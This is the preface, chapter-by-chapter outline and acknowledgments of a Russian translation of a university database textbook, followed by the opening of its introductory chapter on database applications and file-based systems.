Простая в использовании пошаговая методология концептуального и логического проектирования баз данных, основанная на применении широко распространенной модели “сущность-связь”, в сочетании с нормализацией, применяемой в качестве методики проверки. Две главы этой книги посвящены описанию применения данной методологии на практике. Кроме того, в отдельной главе освещается то, какое место занимает проектирование базы данных в процессе разработки всей системы в целом.
Простая в использовании пошаговая методология физического проектирования баз данных, описывающая процесс преобразования логической модели в проект физической реализации, включая выбор схемы файловой организации и индексов, соответствующих разрабатываемым приложениям, а также анализ необходимости введения контролируемой избыточности данных. В одной из глав этой книги описано практическое использование этой методологии.
Ясное и понятное представление материала с четко сформулированными определениями, целями и резюме в каждой главе. Для иллюстрации используемых понятий в каждой главе приводятся многочисленные примеры и диаграммы. В главах книги последовательно рассматривается выполнение реального учебного проекта, а в приложении представлен еще один учебный проект, который можно использовать в качестве задания для студентов.
Расширенное описание новейших формальных и фактических стандартов (язык SQL (Structured Query Language) и язык QBE (Query-By-Example)), a также стандарта на объектно-ориентированные базы данных группы ODMG.
Две главы с вводным описанием нового стандарта языка SQL (SQL-92), в которых рассматриваются интерактивные и вложенные выражения SQL.
Глава с вводным описанием языка QBE на примере его использования в СУБД Microsoft Access.
Полное описание концепций и понятий, связанных с распределенными СУБД и серверами репликации.
Всестороннее введение в концепции и понятия объектно-ориентированных СУБД (значение которых возрастает с каждым днем), включая обзор стандарта ODMG, а также обширное рассмотрение очередной версии стандарта на язык SQL (SQL3) для объектно-реляционных СУБД.
Расширенное описание среды World Wide Web как новой платформы для создания приложений баз данных.
Подробное ознакомление с технологиями хранилищ данных, оперативной аналитической обработки (OLAP) и разработки данных.
Обсуждение основ реализации систем СУБД, включая управление согласованностью и восстановлением данных, обеспечение безопасности, обработку и оптимизацию запросов.
Обзор существующих систем и подробный сравнительный анализ трех традиционных моделей данных: реляционной, сетевой и иерархической.
Замечания для преподавателей
Приступая к работе над этой книгой, автор задумывал ее как удобное пособие с доступным изложением материала для любых категорий читателей, независимо от степени их подготовки и опыта работы. Еще до того как было принято решение о запуске этого проекта, личный опыт автора, накопленный благодаря чтению большого количества учебников, а также в результате общения с коллегами, клиентами и студентами, показал, что существует множество вариантов изложения материала, которые могут нравиться или не нравиться отдельным читателям. Имея в виду эти соображения, автор выбрал для книги следующие стиль и структуру изложения.
В начале каждой главы предлагается перечень рассматриваемых вопросов.
При введении каждого важного понятия дается его четкое определение, помещенное в рамку.
Для иллюстрации и пояснения обсуждаемых концепций в книге повсеместно используются таблицы, рисунки и диаграммы.
С целью поддержания практической ориентации в каждой главе предлагается необходимое количество реальных примеров, иллюстрирующих обсуждаемые понятия.
В конце каждой главы помещается резюме, содержащее краткое описание представленных в этой главе основных понятий.
В каждой главе имеется серия обзорных вопросов, ответы на которые можно найти в тексте данной главы.
Для каждой главы предлагается набор упражнений, которые могут быть использованы преподавателями или всеми желающими с целью проверки уровня понимания прочитанного материала. Ответы на эти вопросы можно найти в отдельном издании “Instructor’s Guide” (подробнее об этом — в следующем разделе).
Руководство инструктора
Обширный дополнительный материал с многочисленными учебными ресурсами для этой книги можно получить в издательстве Addison Wesley Longman. Во вспомогательном издании Instructors Guide ^Руководство инструктора) представлен следующий материал.
Структуры курсов. Содержат рекомендации, касающиеся материала, который следует включить в состав разнообразных курсов.
Рекомендации для преподавателей. Включают лекции, указания, а также идеи в отношении студенческих проектов, в которых могут использоваться материалы той или иной главы.
Ответы. Этот раздел содержит ответы и решения всех предлагаемых в данной книге контрольных вопросов и упражнений.
Экзаменационные вопросы. Подборка экзаменационных задач (аналогичных вопросам и упражнениям, приведенным в этой книге) с решениями.
Образцы прозрачных пленок. Набор прозрачных пленок, предназначенных для проецирования на экран увеличенного изображения иллюстраций и таблиц из этой книги, которые помогут инструктору связать материал лекций и семинарских занятий с материалами этого учебного пособия. Кроме того, прилагается набор прозрачных пленок с лекционными заметками по материалам основных глав этой книги.
Дополнительную информацию о руководстве инструктора и этой книге можно найти на Web-сервере издательства Addison Wesley Longman (http://www.awl-he.com/computing).
Структура этой книги
Часть I. Основные сведения
Часть I, “Основные сведения”, этой книги содержит вводное описание концепций систем баз данных и методов проектирования баз данных, а также знакомит читателя с реляционной моделью, которой и уделяется основное внимание.
В главе 1, “Введение в базы данных”, дается вводное описание основ управления базами данных, перечень проблем, существовавших при работе с предшественниками систем баз данных (т.е. с файловыми системами), а также приводится перечень преимуществ, достигаемых за счет использования баз данных. Здесь же дается описание учебного проекта DreamHome, который подробно рассматривается в этой книге и постоянно используется в качестве примеров.
В главе 2, “Среда базы данных”, рассматривается среда базы данных, обсуждаются преимущества трехуровневой архитектуры ANSI-SPARC, дается вводное описание самых популярных моделей данных, а также предлагается обзор функций, которые должны быть представлены в многопользовательской СУБД. В этой главе также рассматривается базовая архитектура программного обеспечения СУБД, изучение которой можно пропустить при первом знакомстве с основами управления базами данных.
В главе 3, “Реляционная модель”, приведено вводное описание понятий, лежащих в основе реляционной модели — наиболее популярной в настоящее время модели данных, которая чаще всего выбирается для типичных бизнес-приложений. После описания терминологии и представления связей с математическим понятием “отношения” рассматриваются правила поддержки целостности отношений, целостности сущностей и ссылочной целостности данных.
Введение в реляционную алгебру и реляционное исчисление дано с представлением необходимых примеров, иллюстрирующих все операции. Его можно пропустить при первом знакомстве с основами управления базами данных. Однако знание основ реляционной алгебры необходимо для понимания принципов обработки запросов (глава 18) и фрагментации в распределенных СУБД (глава 19). Помимо этого, сравнительный анализ процедурной алгебры и непроцедурного исчисления может рассматриваться как полезное (хотя и не обязательное) введение перед изучением языка SQL, рассматриваемого в главах 13 и 14. Эта глава завершается обзором представлений, которые более подробно рассматриваются в главе 14.
В главе 4, “Планирование, проектирование и администрирование базы данных”, завершается вводное описание, составляющее первую часть книги. В ней представлен обзор основных этапов разработки и применения, т.е. всего жизненного цикла, информационных систем, а также обсуждается их связь с этапом создания приложений баз данных. В частности, подчеркивается важность проектирования баз данных и разъясняется, как этот процесс можно разделить на три фазы: концептуальную, логическую и физическую. Также рассматривается, как проектирование приложения (функциональный подход) влияет на проектирование базы данных (подход, основанный на данных). Решающим моментом всего процесса создания приложения баз данных является выбор подходящей целевой СУБД. В этой главе рассматривается процесс выбора СУБД и приведены некоторые указания и рекомендации. Завершается глава обсуждением важности администрирования данных и администрирования базы данных.
Часть II. Методология
В части 2, “Методология”, этой книги излагается методология концептуального, логического и физического проектирования баз данных для реляционных СУБД.
В главе 5, “Модель “сущность-связь”, рассмотрены концепции предложенной Ченом модели “сущность-связь”, или ER-модели (Entity-Relationship — ER), и расширенной ER-модели (Enhanced Entity-Relationship — EER), позволяющей разрабатывать более совершенные модели данных с использованием подклассов и суперклассов, включая специализацию/генерализацию и категоризацию. EER-моделирование представляет собой популярную технологию разработки высокоуровневой концептуальной модели данных и служит базовой технологией в представленной здесь методологии проектирования баз данных. Для демонстрации создания EER-модели используется рабочий пример — учебный проект DreamHome.
В главе 6, “Нормализация”, рассматриваются основные концепции нормализации — еще одной важной технологии, широко используемой в методологии логического проектирования баз данных. На рабочих примерах из учебного проекта DreamHome показано, как следует выполнять переход от макета, созданного в одной нормальной форме, к макету в другой нормальной форме, а также продемонстрированы преимущества, достигаемые за счет выполнения логического проектирования баз данных в соответстви с требованиями различных нормальных форм, вплоть до пятой нормальной формы.
В главе 7, “Методология концептуального проектирования баз данных”, представлена пошаговая методология концептуального проектирования баз данных. Показано, как разложить общее предметное поле проекта на составные и более управляемые части, руководствуясь отдельными пользовательскими представлениями, а также предложены рекомендации для идентификации сущностей, атрибутов, отношений и ключей.
В главе 8, “Методология логического проектирования реляционных баз данных”, представлена пошаговая методология логического проектирования реляционных баз данных. Показано, как концептуальная модель данных преобразуется в логическую модель данных, после чего выполняется проверка ее корректности в отношении необходимых транзакций и на соответствие общим требованиям нормализации. В завершение описания методологии логического проектирования показано, как объединить созданные локальные модели данных в единую глобальную модель данных, которая содержит все пользовательские представления для моделируемой области деятельности предприятия.
В главе 9, “Методология физического проектирования реляционных баз данных”, представлена пошаговая методология физического проектирования реляционных баз данных. Показано, как можно преобразовать глобальную модель данных, разработанную во время логического проектирования базы данных, в физический проект для выбранной (целевой) реляционной СУБД. Эта методология позволяет добиться повышения производительности полученной реализации базы данных за счет использования рекомендаций по выбору файловой организации и структур хранения данных, а также за счет применения денормализации, т.е. введения контролируемой избыточности данных.
В главах 10, “Пример разработки концептуального проекта базы данных”, и 11, “Пример разработки логического проекта базы данных”, рассматривается вполне реалистичный учебный пример применения методологии концептуального и логического проектирования базы данных в проекте DreamHome. Эти главы иллюстрируют процесс создания и проверки корректности локальных моделей данных для двух пользовательских представлений, а также методы их слияния с целью получения обобщенного глобального представления.
В главе 12, “Пример разработки физического проекта базы данных”, предлагается конкретный пример использования методологии физического проектирования базы данных в учебном проекте DreamHome. Он иллюстрирует практическую реализацию части глобальной логической модели данных, предложенной в главе 11, в среде целевой СУБД Microsoft Access.
Часть III. Языки баз данных
В части III, “Языки баз данных”, описываются два основных языка реляционных СУБД: SQL и QBE.
В главе 13, “Язык SQL”, дается описание стандарта языка SQL выпуска 1992 года — SQL-92. Эта глава представляет собой вводный курс с рядом рабочих примеров, которые демонстрируют основные концепции языка SQL. Основное внимание в ней уделяется операторам управления данными: SELECT, INSERT, UPDATE и DELETE. Здесь также описаны типы данных, принятые в SQL-92, и показаны основные типы операторов определения данных.
В главе 14, “Дополнительные средства языка SQL”, рассмотрены дополнительные возможности стандарта SQL-92. Эта глава также является вводным курсом. В ней рассматриваются представления, средства поддержки целостности (Integrity Enhancement Feature — IEF) и дополнительные возможности операторов определения данных, в том числе операторов управления доступом GRANT и REVOKE. Здесь же рассматриваются вложенные и динамические операторы SQL (в сочетании с примерами простых программ на языке С). В этой главе также обсуждается стандарт ODBC (Open Database Connectivity), который фактически стал промышленным стандартом доступа к гетерогенным базам данных SQL. При предварительном изучении СУБД три последних раздела этой главы можно пропустить.
В главе 15, “Язык QBE”, на практических примерах показано использование интерактивного языка запросов по образцу — Query-by-Example (QBE), — который приобрел репутацию одного из самых простых средств доступа к информации в базах данных и вполне доступен даже начинающим пользователям. Возможности языка QBE продемонстрированы на примере конкретной целевой СУБД — Microsoft Access.
Часть IV. Некоторые аспекты эксплуатации баз данных
В части IV, “Некоторые аспекты эксплуатации баз данных”, рассмотрены три специальные темы, которые, по мнению автора, необходимо включать в любой современный учебный курс по СУБД.
В главе 16, “Защита баз данных”, рассмотрены вопросы защиты базы данных, причем не только в контексте безопасности самой базы данных, но и в контексте защиты всей среды СУБД. В этой главе обсуждаются различные решения, как связанные с компьютерами, так и не связанные с ними. Глава завершается рассмотрением методов анализа риска.
В главе 17, “Управление транзакциями”, основное внимание сконцентрировано на трех функциях, которые должны поддерживать любые современные СУБД: на управлении транзакциями, средствах поддержки согласованности данных и средствах восстановления. Эти функции предназначены для поддержания стабильности и непротиворечивости базы данных при одновременном доступе к ней большого количества пользователей, а также при наличии сбоев отдельных компонентов аппаратного и программного обеспечения. В этой главе также обсуждаются усовершенствованные модели управления транзакциями, которые более пригодны для транзакций с длительным временем выполнения.
В главе 18, “Обработка запросов”, описываются вопросы обработки и оптимизации запросов. В ней рассмотрены две основные технологии оптимизации запросов: использование эвристических правил, которые упорядочивают операторы запроса, и технология, которая сравнивает различные стратегии на основе оценки относительных затрат и выбирает ту, которая позволяет минимизировать использование ресурсов.
Часть V. Новые направления
В части V, “Новые направления”, описываются распределенные СУБД и объектноориентированные СУБД.
Технология распределенных СУБД является одним из важнейших текущих достижений в области систем баз данных. Предыдущие главы этой книги были посвящены централизованным СУБД — т.е. системам с единственной логической базой данных, расположенной в одном месте (на одном компьютере), под управлением единственной СУБД.
В главе 19, “Концепции и разработка распределенных СУБД”, обсуждаются концепции и назначение распределенных СУБД, при работе с которыми пользователи могут осуществлять доступ к базам данных, расположенным не только на их собственном компьютере, но и на других удаленных компьютерах. Существует мнение, что в течение следующих нескольких лет централизованные СУБД станут “антикварной редкостью”, поскольку в большинстве организаций они будут заменены распределенными СУБД.
В главе 20, “Распределенные СУБД — дополнительные концепции”, рассматриваются более глубокие понятия, связанные с распределенными СУБД. В частности, в ней уделяется большое внимание протоколам управления распределенными транзакциями, поддержке согласованности данных, предотвращению взаимных блокировок и процедурам восстановления базы данных. Кроме того, в этой главе обсуждается новый протокол обработки распределенных транзакций Х/Open, а также серверы репликации, выступающие в качестве альтернативы распределенным СУБД.
Во всех упомянутых главах этой книги рассматриваются преимущественно реляционная модель и реляционные системы. Это можно объяснить тем, что такие СУБД теперь доминируют в традиционных бизнес-приложениях баз данных. Однако реляционные системы не лишены недостатков, поэтому развитие объектноориентированных СУБД можно считать наибольшим достижением в области баз данных, поскольку они позволяют эти недостатки устранить. Суть этой новейшей технологии подробно излагается в главах 21, 22 и 23.
В главе 21, “Введение в объектные СУБД”, представлено введение в объектноориентированные СУБД, начинающееся с рассмотрения новых типов приложений баз данных, появившихся в последнее время. Здесь же обсуждаются недостатки реляционной модели данных, которая не годится для приложений этих типов, а также рас- смотриваются основные концепции объектно-ориентированного подхода.
В главе 22, “Объектно-ориентированные СУБД”, рассматриваются объектноориентированные СУБД (ОО СУБД), причем глава начинается с введения в объектноориентированные модели данных и перманентные языки программирования. В этой главе обсуждаются различия между используемой в обычных СУБД двухуровневой моделью хранения и одноуровневой моделью хранения в ОО СУБД, а также их влияние на доступ к данным. В ней также рассматриваются различные подходы к реализации функций хранения в существующих языках программирования, разные технологии смешивания указателей, управление версиями, схема эволюции и существующие архитектуры ОО СУБД. В этой главе также описывается новая объектная модель, предложенная группой ODMG, которая фактически стала стандартом ОО СУБД, а также показано, как представленная в части II этой книги методология может быть расширена с целью использования в среде объектно-ориентированных баз данных.
В главе 23, “Объектно-реляционные СУБД”, описывается объектно-реляционная СУБД, а также подробно рассматриваются функции управления объектами, которые предлагается включить в следующий выпуск стандарта языка SQL — SQL3. В этой главе также обсуждается, как следует модернизировать обработку и оптимизацию запросов с целью более эффективной поддержки расширенного набора типов данных.
Часть VI. Перспективные направления
В заключительной части книги рассматриваются четыре новые области, значение которых возрастает с каждым днем, а именно: интеграция СУБД в среду World Wide Web, использование хранилищ данных, применение технологии оперативной аналитической обработки и поддержка концепции “разработки” данных.
В главе 24, “Web-технологии и СУБД”, обсуждается интеграция СУБД в среду World Wide Web. После краткого введения в основы Internet и Web-технологии, в этой главе анализируются возможности использования Web в качестве платформы для развертывания приложений баз данных, а также обсуждаются недостатки и преимущества этого подхода. Рассматривается также несколько других вариантов интеграции СУБД в среду WWW, включая сценарии на языке CGI, серверные расширения, аплеты языка Java, языки сценариев, активные страницы Active Server Pages и универсальный сервер данных Universal Data Server фирмы Oracle. В этой главе также обсуждаются свойственные Web проблемы, связанные с безопасностью данных и приложений, а также предлагаются некоторые способы их разрешения.
В главе 25, “Хранилища данных”, обсуждается технология использования хранилищ данных (warehouse): что это такое, история их развития и области применения. Кроме того, в ней описаны достоинства и недостатки, присущие подобным системам. В главе рассматриваются архитектура хранилища данных, его основные компоненты, а также связанные с ним инструменты и технологии. Здесь также обсуждаются концепция магазина данных (data mart) и все вопросы, связанные с разработкой и управлением магазинами данных. Глава завершается описанием подхода к проектированию базы данных, предназначенной для использования в качестве хранилища или магазина данных, создаваемого для обслуживания системы принятия решений.
В главе 26, ”OLAP и разработка данных”, описываются методы оперативной аналитической обработки (OLAP) и новая технология, получившая название “разработка данных” (data mining). В ней также рассматриваются концепции многомерных баз данных и обсуждаются характеристики трех основных типов инструментов для OLAP-обработки, а именно: инструменты многомерной OLAP-обработки (Multidimensional Online Analytical Processing — MOLAP), реляционной OLAP-обработки (Relational Online Analytical Processing — ROLAP) и среды управляемых запросов (Managed Query Environment — MQE). Здесь же описываются способы расширения SQL для обеспечения функций анализа сложных данных (например, Red Brick Intelligent SQL (RISQL)). Кроме того, в этой главе представлены понятия, связанные с разработкокй данных, приведены основные характеристики операций, технологий и инструментов разработки данных, рассмотрена связь между разработкой данных и хранилищами данных.
Приложения
В приложении А, “Учебный проект Wellmeadows Hospital”, вниманию читателей предлагается дополнительный учебный проект — Wellmeadows Hospital, — который может быть использован в качестве шаблона курсового или дипломного проекта.
В приложении Б, “Структура данных в файлах с различной организацией”, предлагаются основные сведения о файловой организации и структурах хранения данных, которые необходимо знать, чтобы понимать методологию физического проектирования баз данных, обсуждаемую в главе 9, а также принципы обработки запросов, описываемые в главе 18.
В приложении В, “Сетевая модель данных”, излагаются основные сведения о сетевой модели данных.
В приложении Г, “Иерархическая модель данных”, приведены основные сведения об иерархической модели данных.
В приложении Д, “Сравнение сетевых, иерархических и реляционных СУБД”, да ется сравнительный анализ свойств трех традиционных моделей баз данных: реляци онной, сетевой и иерархической.
В приложении Е, “Краткий обзор методологии проектирования реляционных ба: данных”, предложен краткий обзор этапов методологии концептуального, логическо го и физического проектирования баз данных, представленной в главах 7, 8 и 9.
В приложении Ж, “Примеры Web-сценариев”, рассмотрены некоторые примеры Web сценариев, дополняющие материал главы 24, посвященной интеграции Web и СУБД.
Логическая структура книги и предлагаемые варианты ее чтения показаны на рис. 1.
Рис. 1. Логическая структура книги и предлагаемые варианты ее чтения
Сообщите нам ваше мнение
Вы, читатель этой книги, и есть главный ее критик и комментатор. Мы ценим ваше мнение и хотим знать, что было сделано нами правильно, что можно было сделать лучше и что еще вы хотели бы увидеть изданным нами. Нам интересно услышать и любые другие замечания, которые вам хотелось бы высказать в наш адрес.
Мы ждем ваших комментариев и надеемся на них. Вы можете прислать электронное письмо или посетить наш Web-узел, оставив свои замечания, — одним словом, любым удобным для вас способом дайте нам знать, нравится или нет вам эта книга, а также выскажите свое мнение о том, как сделать наши книги более подходящими для вас.
Посылая письмо или сообщение, не забудьте указать название книги и ее авторов, а также ваш факс или номер телефона. Мы внимательно ознакомимся с вашим мнением и обязательно учтем его при отборе и подготовке к изданию следующих книг.
E-mail:info0williamspublishing.com
WWW:http: / /ww. williamspublishing. com
Благодарности от авторов
Эта книга является результатом многолетнего опыта научной и преподавательской работы авторов. Поэтому довольно трудно перечислить всех тех, кто прямо или косвенно помогал нам. Так, в свое время некоторые высказанные идеи могли показаться довольно незначительными, но впоследствии оказали на нас решающее влияние. Мы приносим извинения всем тем, кого забыли упомянуть в этой связи. Но прежде всего особую благодарность и извинения мы хотели бы выразить нашим семьям, которые на протяжении многих лет были забыты, а в моменты наибольшей работы даже игнорировались нами.
За участие в работе над первым изданием мы хотели бы поблагодарить наших редакторов доктора Саймона Пламтри (Simon Plumtree) и Никки Джагера (Nicky Jaeger) за их помощь, одобрение и профессионализм; нашего производственного редактора Мартина Титлера (Martin Tytler) и редактора копирования Лайонела Брауни (Lionel Browne). Мы также хотели бы поблагодарить рецензентов первого издания за их существенные замечания, предложения и рекомендации. В частности, хотелось бы упомянуть Вильяма X. Гвинна (William Н. Gwinn), инструктора Технического Университета Техаса (Texas Tech University); Адриана Ларнера (Adrian Larner) из Университета Де Монфорта, Лечестер (University De Montfort, Leicester); профессора Эндрю Мак-Гетрика (Andrew McGettrick) из Университета Страсклайда (University of Strathclyde); профессора информатики Денниса Мак-Леода (Dennis McLeod) из Университета Южной Калифорнии (University of Southern California); адъюнкт- профессора Жозефины Де-Гузман Мендоза (Josepnine DeGuzman Mendoza) из Калифорнийского Университета (California State University); Джефа Нотона (Jeff Naughton) и профессора А.Б. Шварцкопфа (А.В. Schwarzkopf) из Университета Оклахомы (University of Oklahoma); адъюнкт-профессора Джанпин Сан (Junping Sun) из Нового Юго-Восточного Университета (Nova Southeastern University); адъюнкт- профессора Донована Юнга (Donovan Young) из Технического Университета Джорджии (Georgia Tech); преподавателя информатики доктора Барри Иглстоуна (Barry Eaglestone) из Университета Бредфорда (University of Bradford); Джона Вэйда (John Wade) из фирмы IBM. Мы благодарим и многих других, чьи имена нам известны, за время, затраченное ими на работу над рукописью.
За участие в работе над вторым изданием мы прежде всего хотели бы поблагодарить нашего редактора Салли Мортимор (Sally Mortimore), а также Мартина Клопстока (Martin Klopstock) и Дилана Рейзенбергера (Dylan Reisenberger) из нашей рабочей команды. Мы также хотели бы поблагодарить рецензентов второго издания за их замечания, предложения и советы. В частности, хотелось бы упомянуть Стефано Цери (Stephano Ceri) из Политехнического Университета Милана (Politechnico di Milano); Ларса Жильберга (Larsa Gillberg) из Университета Средней Швеции, Остерсунд (Mid Sweden University, Oestersund); Дона Джутла из Университета Св. Марии, Галифакс, Канада (St Mary’s University, Halifax, Canada); Джули Мак-Канн из Городского Университета Лондона (City University, London); Муниндара Сингха (Munindar Singh) из Государственного Университета штата Северная Каролина (North Carolina State University); Хью Дарвина (Hugh Darwen), Харсели, Великобритания (Hursely, UK); Клода Делобель (Claude Delobel), Париж, Франция (Paris, France); Денниса Мюррея (Dennis Murray), Рединг, Великобритания (Reading, UK); а также сотрудников нашего факультета Джона Кавала (John Kawala) и доктора Питера Кнагса (Peter Knaggs).
Мы также хотели бы выразить свою благодарность Малкольму Бронте-Стюарту (Malcolm Bronte-Stewart) за идею учебного проекта DreamHome, Мойре О’Доннелл (Moira O’Donnell) за тщательную подготовку учебного проекта Wellmeadows Hospital, а также Линдону Мак-Леоду (Lyndonne MacLeod), секретарю Томаса, и Джун Блэкберн (June Blackburn), секретарю Каролин за их помощь и поддержку в течение этих лет.
Томас М. Коннолли
Каролин Э. Бегг
Глазго, апрель 1998 года
Благодарности от издателей
Издатели хотели бы выразить благодарность перечисленным ниже фирмам за разре- шёние опубликовать принадлежащие им материалы: фирме Oracle за любезное разрешение привести рис. 24.13 и 24.14; издательству McGraw-Hill Companies, Inc., Нью-Йорк, за разрешение опубликовать рис. 24.15 , впервые появившийся в статье “Secure Electronic Transactions Protocol” июньского номера журнала BYTE Magazine за 1997 год; корпорации Microsoft Corporation за разрешение включить копию окна броузера Microsoft Internet Explorer — рис. Ж.2; корпорации Netscape Communications Corporation за разрешение использовать копию окна броузера Netscape Navigator — рис. 24.2 и 24.6. Корпорация Netscape Communications Corporation не санкционировала, не спонсировала, не рекомендовала, не одобряла эту публикацию и, таким образом, не отвечает за ее содержание. Логотипы Netscape и Netscape Communications Corporate являются торговыми марками и именами корпорации Netscape Communications Corporation.
Издатели всегда пытались найти владельцев авторских прав и получить их разрешение на публикацию материалов, но в некоторых случаях это сделать было просто невозможно. Мы выражаем благодарность владельцам авторских прав на материалы, которые приведены здесь без упоминания их авторства, и предлагаем им связаться с издателем.
Основные сведения
Глава L Введение в базы данных36
Глава 2. Среда базы данных72
Глава 3. Реляционная модель105
Глава 4. Планирование, проектирование и администрирование базы данных145
ГЛАВА
Введение в базы данных
В этой главе...
Основные области применения систем с базами данных;
Характеристики файловых систем.
Проблемы использования файловых систем.
Значение термина “база данных”.
Значение термина “СУБД”.
Типичные функции СУБД.
Основные компоненты среды СУБД.
\ Персоналj необходимый для обслуживания СУБД.
> История развития СУБД.
w Преимущества и недостатки СУБД.
“История исследований систем баз данных — это, по сути, история развития приложений, достигших исключительной производительности и оказавших потрясающее влияние на экономику. Если еще 20 лет назад эта сфера была всего лишь областью фундаментальных научных исследований, то теперь на исследованиях баз данных основана целая индустрия информационных услуг, ежегодный бюджет которой только в США составляет 10 миллиардов долларов. Достижения в исследованиях баз данных стали основой фундаментальных разработок коммуникационных систем, транспорта и логистики, финансового менеджмента, систем с базами знаний, методов доступа к научной литературе, а также большого количества гражданских и военных приложений. Они также послужили фундаментом значительного прогресса в ведущих областях науки — от информатики до биологии”, — Зильбершац (Silberschatz et al., 1991).
Эта цитата взята из материалов недавнего семинара по системам баз данных и, по сути, является достаточным основанием для того, чтобы приступить к изучению систем с базами данных. Можно утверждать, что появление баз данных стало самым важным достижением в области программного обеспечения. Бары данных лежат в основе информационных систем, и это коренным образом изменило характер работы многих организаций. С момента своего появления технология баз данных стала увлекательной областью деятельности, а также катализатором многих значительных достижений в области программного обеспечения. На упомянутом выше семинаре был подчеркнут тот факт, что развитие систем баз данных еще не завершено, как это может показаться на первый взгляд. На самом деле, перефразируя древнее высказывание, можно сказать, что мы находимся только в конце начала их развития. Приложения, которыми придется пользоваться в будущем, окажутся настолько сложными, что потребуется переосмыслить многие алгоритмы — например, используемые в настоящее время алгоритмы хранения файлов, а также доступа к ним. Развитие исходных алгоритмов сопровождалось различными ответвлениями в области разработки программного обеспечения, и, несомненно, создание новых алгоритмов также будет иметь аналогичные последствия. В этой главе предлагается вводное описание систем с базами данных.
Структура этой главы
В разделе 1.1 рассматриваются некоторые встречающиеся в повседневной жизни способы применения систем баз данных, о которых мы не всегда и подозреваем. В разделах 1.2 и 1.3 сравниваются ранние способы компьютеризации ручных картотек с помощью файловых систем с более удачными современными подходами на основе баз данных. В разделе 1.4 обсуждаются обязанности четырех типов специалистов, работающих с базами данных, а именно: администраторов данных и базы данных, проектировщиков базы данных, прикладных программистов и конечных пользователей. В разделе 1.5 излагается краткая история развития систем с базами данных, рассмотрение которой продолжается в разделе 1.6 обсуждением преимуществ и недостатков этих систем.
На протяжении всей этой книги любые рассматриваемые понятия иллюстрируются примерами конкретного учебного проекта, основанного на базе автоматизации деятельности воображаемого агентства DreamHome, занимающегося сдачей в аренду недвижимости. Подробное описание этого проекта предлагается в разделе 1.7. В приложении А представлен второй учебный проект, который является еще одним конкретным примером реального приложения. В конце большинства глав приводятся упражнения, построенные на материале этих двух учебных проектов.
Введение
Базы данных стали неотъемлемой частью нашей повседневной жизни. Поэтому обсуждение баз данных в этом разделе мы начнем с изучения некоторых приложений систем баз данных. В дальнейших рассуждениях будем рассматривать базу данных как некий набор связанных данных, а систему управления базами данных, или СУБД (Database Management System — DBMS), как программное обеспечение, которое управляет доступом к этой базе данных. Более строгие и точные определения будут даны в разделе 1.3.
Например, доступ к базе данных необходим при покупке продуктов в ближайшем супермаркете, когда кассир считывает с покупок штрих-код. При этом ручной сканер, связанный с приложением базы данных, использует штрих-код для поиска цены данного предмета в базе данных всех товаров. Затем программа вычтет количество всех только что проданных товаров из товарных запасов и отобразит на кассовом аппарате их стоимость. Если запасы склада опустятся ниже некоторого загодя определенного уровня, то в таком случае система сможет автоматически направить заказ на поставку дополнительного количества данного товара. Когда клиент делает покупки по телефону, кассир может проверить наличие того или иного товара на складе, также запустив некоторое приложение баз данных.
Если при покупках используется кредитная карточка, кассир должен проверить наличие кредитных средств. Этот можно сделать либо по телефону, либо автоматически, с помощью специального считывающего устройства, связанного с компьютером. В любом случае при этом используется какая-то база данных, которая содержит сведения о покупках, осуществляемых с помощью кредитной карточки. На основе номера кредитной карточки специальное приложение сверяет цену покупаемых в данный момент и купленных в течение этого месяца товаров с кредитным лимитом. После подтверждения допустимости такой покупки все сведения о приобретенных товарах вводятся в базу данных. Однако еще до получения подтверждения допустимости покупки приложение базы данных должно убедиться в том, что данная карточка не находится в списке украденных или утерянных. Кроме того, должно существовать еще одно самостоятельное приложение баз данных, которое будет оплачивать счета после получения суммы платежа, а также ежемесячно посылать каждому владельцу кредитной карточки полный отчет.
Когда вы при планировании отпуска обращаетесь в туристическое агентство, работник этого агентства по вашему запросу просматривает базы данных со сведениями об имеющихся путевках и расписании полетов. При бронировании какой-либо путевки система баз данных должна выполнить все необходимые для этого действия. В данном случае надо убедиться в том, что два разных сотрудника агентства не бронируют одну и ту же путевку или для данного рейса не забронированы места сверх предельно допустимого количества. Например, если в самолете некоторого рейса осталось только одно свободное место и два сотрудника туристического агентства попытаются его забронировать, то система должна корректно обработать эту ситуацию и разрешить забронировать последнее место только одному сотруднику, послав другому уведомление об отсутствии свободных мест. Кроме того, каждый из них может иметь другую, отдельную систему баз данных для выписки счетов.
При посещении местной библиотеки вам, вероятно, потребуется обратиться к базе данных, содержащей сведения обо всех книгах, имеющихся в этой библиотеке, ее читателях, заявках на бронирование книг и т.д. В ней обычно содержится компьютеризованный индекс, который позволяет читателям находить нужную им книгу по названию, фамилиям авторов или указанной тематике. Как правило, подобная система баз данных способна обрабатывать информацию о бронировании книг, что позволит вам зарезервировать взятую другим читателем книгу. Когда эту книгу вернут, по почте вам будет послано сообщение, что книга уже на месте и вы можете ее взять. Кроме того, такая система может посылать напоминания тем читателям, которые не вернули взятую книгу в указанный срок. Для ввода информации о книге в такой
системе обычно используется устройство сканирования штрих-кода, аналогичное тому, которое применяется в супермаркетах. С его помощью организуется учет прихода и ухода книг из библиотеки.
При оформлении какого-либо страхового полиса (например, для страхования жизни, здоровья, строения, дома или автомобиля) страховой агент может обращаться к нескольким базам данных, содержащим сведения о различных страховых компаниях. После указания персональных сведений, например имени, адреса, возраста, а также пристрастия к курению или спиртным напиткам, приложение системы баз данных использует их для определения стоимости страхового полиса. Страховой агент может просмотреть несколько баз данных с целью поиска страховой компании, которая предложит вам наилучшие условия страховки.
В университете может существовать база данных с информацией о студентах, посещаемых ими курсах, выплачиваемых стипендиях, уже пройденных и изучаемых в настоящее время предметах, а также о результатах сдачи различных экзаменов. Кроме того, может также поддерживаться база данных с информацией о приеме студентов в следующем году, а также база данных с личными данными о сотрудниках и сведениями об их зарплате для бухгалтерии.
Традиционные файловые системы
Стало почти традицией то, что любая книга с достаточно обширным описанием баз данных начинается с обзора их предшественниц — файловых систем (file-based system). Мы также последуем этой традиции. Несмотря на то что файловые системы давно устарели, все же есть несколько причин, по которым с ними следует познакомиться.
Понимание проблем, присущих файловым системам, может предотвратить их повторение в СУБД. Иначе говоря, следует учесть опыт прошлых ошибок. На самом деле, слово “ошибки” в данном случае звучит несколько уничижительно и не дает никакого представления о той полезной работе, которая выполнялась в течение многих лет. Тем не менее оно дает понять, что существуют и другие, более эффективные способы управления данными.
Знать принципы работы файловых систем не только очень полезно, но и необходимо при выполнении перехода от файловой системы к системе баз данных.
Подход, используемый в файловых системах
Файловые Набор программ, которые выполняют для пользователей некоторые системы операции, например создание отчетов. Каждая программа определяет свои собственные данные и управляет ими.
